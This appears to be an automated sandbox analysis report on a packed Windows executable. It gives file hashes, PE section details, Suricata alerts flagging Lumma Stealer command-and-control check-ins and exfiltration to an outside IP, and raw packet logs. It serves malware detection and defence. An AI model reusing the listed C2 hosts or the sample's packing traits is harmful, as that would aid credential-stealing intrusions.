Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179356
Entropy (8bit):	5.435190027091877
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVh:Wof3G0NSkNzMeO7z/l3h
MD5:	0F61EF7FBE30EC2928271294A8C024DE
SHA1:	2406F5A322682E63FFD6E4C800279C4A2863C5FA
SHA-256:	C615B312E47BAC8CDD9C379BF267AE6F9B4F17CC86C568280DC94598207AAFC1
SHA-512:	1205F73DFA6D4541E8CE391ED8574278E89620DCE215852D090A8BEB98C3BC994D123F42DCBFE55973418D51AABA413C8A29EB26019606A4A9C6FA320FBEAF0F
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.531511789621976
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	COBYmpzi7q.exe
File size:	3'011'584 bytes
MD5:	1f2ec1de18a228831db842ed61139322
SHA1:	474efac20f3761af148f1db903a9b18d4d45cdb8
SHA256:	7391a3331f21f370cea793122e88ec5f34d4330c4ac1dcf61fdf794391c10126
SHA512:	4931e0bba64834f5cfcf2a8f3bb66ccde61f9ffc4a7aef967ed329965d4e0d21e1632a4061159441b3fe335357e1e7af10b16c654cce6863b36b3f17dfceb615
SSDEEP:	49152:rIYIvt2dWQgrWaTtDmCNO73Zf04V6w3EkIf2:rIYIvtbQgrWaTtDmCNmqaUM
TLSH:	16D53A92B5057ACBD48F1778952BCE82795D03BC072149C3AC69B4BABDA3CC126F5C2D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................0...........@...........................0...........@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5D5CF04AAAh
psrld mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	d9d14840040974e9e5afdb2e3abfe19a	False	0.9995404411764706	data	7.983013580182764	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vxcidofw	0x55000	0x2b6000	0x2b5800	1847413d42fb6329425d3383794d0e3e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ebkribhg	0x30b000	0x1000	0x400	79fe1f3a107c456b276126f23efc370a	False	0.7568359375	data	6.024111171132588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	d90f893a55bc822fcecac18de4d46ac4	False	0.05721507352941176	DOS executable (COM)	0.7707685274340798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T12:41:19.675792+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49722	104.21.11.101	443	TCP
2024-12-26T12:41:20.307812+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49722	104.21.11.101	443	TCP
2024-12-26T12:41:20.307812+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49722	104.21.11.101	443	TCP
2024-12-26T12:41:21.631229+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49728	104.21.11.101	443	TCP
2024-12-26T12:41:22.416380+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49728	104.21.11.101	443	TCP
2024-12-26T12:41:22.416380+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49728	104.21.11.101	443	TCP
2024-12-26T12:41:24.188647+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49734	104.21.11.101	443	TCP
2024-12-26T12:41:26.604731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49740	104.21.11.101	443	TCP
2024-12-26T12:41:27.636561+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49740	104.21.11.101	443	TCP
2024-12-26T12:41:29.174912+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49746	104.21.11.101	443	TCP
2024-12-26T12:41:32.195987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49751	104.21.11.101	443	TCP
2024-12-26T12:41:36.057920+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49760	104.21.11.101	443	TCP
2024-12-26T12:41:41.569292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49774	104.21.11.101	443	TCP
2024-12-26T12:41:42.343992+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49774	104.21.11.101	443	TCP
2024-12-26T12:41:43.891111+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49780	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:41:11.264302969 CET	49676	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:11.264348984 CET	49675	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:11.498725891 CET	49674	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:12.295523882 CET	49677	443	192.168.2.9	20.189.173.11
Dec 26, 2024 12:41:13.498637915 CET	49673	443	192.168.2.9	204.79.197.203
Dec 26, 2024 12:41:18.364466906 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:18.364505053 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:18.364628077 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:18.367822886 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:18.367836952 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:19.675689936 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:19.675791979 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:19.678711891 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:19.678730011 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:19.678973913 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:19.732980967 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:19.735833883 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:19.735863924 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:19.735923052 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:20.307817936 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:20.307915926 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:20.307974100 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:20.309855938 CET	49722	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:20.309873104 CET	443	49722	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:20.322105885 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:20.322170973 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:20.322248936 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:20.323254108 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:20.323273897 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:20.873596907 CET	49676	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:20.873604059 CET	49675	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:21.107964039 CET	49674	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:21.631159067 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:21.631228924 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:21.632859945 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:21.632869005 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:21.633131027 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:21.634341955 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:21.634378910 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:21.634408951 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:21.904851913 CET	49677	443	192.168.2.9	20.189.173.11
Dec 26, 2024 12:41:22.416393042 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.416452885 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.416490078 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.416503906 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.416527987 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.416539907 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.416572094 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.416594028 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.416651011 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.416666985 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.424829960 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.424889088 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.424901009 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.433049917 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.433186054 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.433196068 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.482952118 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.482966900 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.529974937 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.626692057 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630500078 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630548954 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630548954 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.630580902 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630626917 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.630635977 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630661964 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630700111 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.630810976 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.630827904 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.630840063 CET	49728	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.630845070 CET	443	49728	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.881241083 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.881274939 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:22.881360054 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.881891012 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:22.881905079 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:23.584867001 CET	443	49705	23.206.229.209	192.168.2.9
Dec 26, 2024 12:41:23.585120916 CET	49705	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:41:24.188389063 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:24.188647032 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:24.246318102 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:24.246335983 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:24.246654034 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:24.247792006 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:24.247947931 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:24.247993946 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:25.145304918 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:25.145392895 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:25.145453930 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:25.145953894 CET	49734	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:25.145967960 CET	443	49734	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:25.300651073 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:25.300683022 CET	443	49740	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:25.300751925 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:25.301033974 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:25.301044941 CET	443	49740	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:26.604583979 CET	443	49740	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:26.604731083 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:26.606100082 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:26.606106043 CET	443	49740	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:26.607597113 CET	443	49740	104.21.11.101	192.168.2.9
Dec 26, 2024 12:41:26.608927965 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:26.609061003 CET	49740	443	192.168.2.9	104.21.11.101
Dec 26, 2024 12:41:26.609096050 CET	443	49740	104.21.11.101	192.168.2.9
